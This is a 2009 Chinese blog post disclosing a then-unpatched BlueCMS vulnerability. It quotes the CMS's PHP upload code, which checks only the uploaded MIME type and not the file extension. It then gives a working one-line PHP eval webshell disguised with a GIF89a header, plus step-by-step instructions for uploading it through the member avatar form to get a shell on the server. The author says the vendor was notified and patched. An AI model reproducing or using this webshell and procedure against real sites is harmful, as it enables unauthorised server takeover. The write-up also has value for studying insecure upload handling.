bluecms 0day
2009年10月31日星期六 | | |作者:st0p
转载请注明出处:http://www.st0p.org
注:不好意思了,作者早上才发的版本,晚上就叫偶给报了个0DAY,通知了下作者,刚去官方看了一下,已发布了安全补丁,很快啊..大家可以去网上下没更新版本进行测试...
唉,群里一个朋友发了一个CMS,说用户资料修改部分可能存在注入,说一起分析,本地安装好后发现,没法利用,在magic_quotes_gpc=off的情况下,单引号被转义了。。。
看到include/common.inc.php中的这行,放弃。。
1 2 3 4 5 6 7 8 9 | ...... if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); } ...... |
也许是st0p的运气好,看到有上传图片的部分,分析了一下代码,在user.php中发现利用的东西。。
1 2 3 4 5 6 | require_once(BLUE_ROOT . 'include/upload.class.php'); //调用上传类 $image = new upload(); if(isset($_FILES['face_pic']['error']) && $_FILES['face_pic']['error'] == 0){ $face_pic = $image->img_upload($_FILES['face_pic'], 'face_pic'); //没检测后缀直接带入,类中要是也没有就能传SHELL了 } |
打开include/upload.class.php发现,只是检测了文件头,没有检测后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | ...... class upload { private $allow_image_type = array('image/jpg', 'image/gif', 'image/png', 'image/pjpeg'); ...... function img_upload($file, $dir = '', $imgname = ''){ if(empty($dir)){ $dir = BLUE_ROOT.DATA.UPLOAD.date("Ym")."/"; }else{ $dir = BLUE_ROOT.DATA.UPLOAD.$dir."/"; } if(!file_exists($dir)){ if(!mkdir($dir)){ showmsg('上传过程中创建目录失败'); } } if(empty($imgname)){ $imgname = $this->create_tempname().$this->get_type($file['name']); } $imgname = $dir . $imgname; if(!in_array($file['type'],$this->allow_image_type)){ //只是检测了文件头部来着,那我们就直接构造一个SHELL就好了 showmsg('不允许的图片类型'); } } |
把以上内容另存为st0p.php
1 2 | GIF89a <?php eval($_POST[st0p]);?> |
注网帐号,登陆,会员中心-->我的个人资料,然后上传新图像选咱们构造的PHP文件,点确认修改,成功后,直接在照片上右击查看地址就行了。。一句话SHELL上传成功!
分析完毕,嘿嘿,希望大家多交流,这些东西发出来只是想多认识些朋友,一起讨论技术,开设群也是这样,由于只是普通群,只能有100人,今天清理了下从未说话的人,竟被人说我在装B乱T人,郁闷,开群就是为了交流,不说话一直占位有何用,想进步的话,孤高之路不可走!
如果你进群只是为了从别人那得到别人的讨论成果,不知道付出或只是加进来潜水的,那还是不加的好。。。
我的QQ空间
显示桌面[备用]
[Shell] Command=2 IconFile=explorer.exe,3 [Taskbar] Command=...